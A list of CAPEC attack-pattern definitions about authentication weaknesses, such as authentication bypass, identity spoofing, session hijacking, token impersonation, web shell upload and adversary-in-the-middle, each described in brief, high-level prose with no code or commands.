
CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.